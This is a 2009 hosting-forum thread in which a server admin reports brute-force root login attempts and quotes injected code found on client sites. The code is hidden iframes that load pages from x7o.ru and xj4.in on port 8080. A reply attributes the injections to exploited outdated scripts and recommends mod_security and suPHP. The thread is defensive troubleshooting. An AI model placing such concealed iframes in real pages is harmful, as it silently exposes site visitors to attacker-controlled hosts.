QUOTE (ns1 @ Aug 4 2009, 04:00 AM)

Recently I have noticed that my server is constantly "under attack".
Brute force protection notifies me every day about a dozen of attempted logins to various users, including root. Like this:
CODE
5 failed login attempts to account root (system) -- Large number of attempts from this IP: 196.6.129.218
Also, few days ago i got injected with scripts on few sites, some of my own, some of my clients. Scripts are same in basic, but they differ from site to site.
Few examples:
CODE
<body onload="MM_preloadImages('images/vsr2_05.gif','images/vsr2_06.gif','images/vsr2_07.gif','images/vsr2_08.gif','images/vsr2_09.gif','images/vsr2_14.gif','images/vsr2_15.gif','images/vsr2_16.gif','images/vsr2_17.gif','images/vsr2_18.gif')"><iframe src="http://x7o.ru:8080/index.php" width=111 height=174 style="visibility: hidden"></iframe>
or:
CODE
<iframe src="http://xj4.in:8080/index.php" width=190 height=162 style="visibility: hidden"></iframe>
I want to prevent this from happening in future. How do I do that?
I have cPanel 11.24.5-S37946 - WHM 11.24.2 - X 3.9; REDHAT Enterprise 5.2 i686 standard.
Installed APF, chkroot, rk hunter, used almost all server tweaking as instructed here:
http://forums.theplanet.com/index.php?showtopic=69663(except disable root login and enabling SuExec)
I would appreciate your help. Thank you.
Most of the time you end up with iframe injections because of scripts on your server being exploited. All too often I come across compromised servers that had an old forgotten squirrelmail install, or an unkept version of Joomla, etc... pre-made scripts are not solely responsible, often custom code can be exploited as well. So to answer your question, there really is no good way to prevent this.
Many people suggest mod_security, with a good ruleset it can be very helpful. The down side is it can be restrictive to your users.
I personally like suPHP. Essentially a users php scripts are executed as the user him/her self. If a users code is compromised, and your permissions are setup properly, you can limit the damage to the one compromised users data. Unfortunately many times the permissions in the rest of the user directories is not correct... eg: random directories read/writable to the world. Another advantage of suPHP is that the malicious files you find will be owned by the compromised user. In other words, you know which site to suspend fairly quickly.
Sorry I couldn't be of more help, but it is difficult to advise you on how to proceed without investigating it personally. Good luck, and if you have any more direct questions we can help you with, please let us know.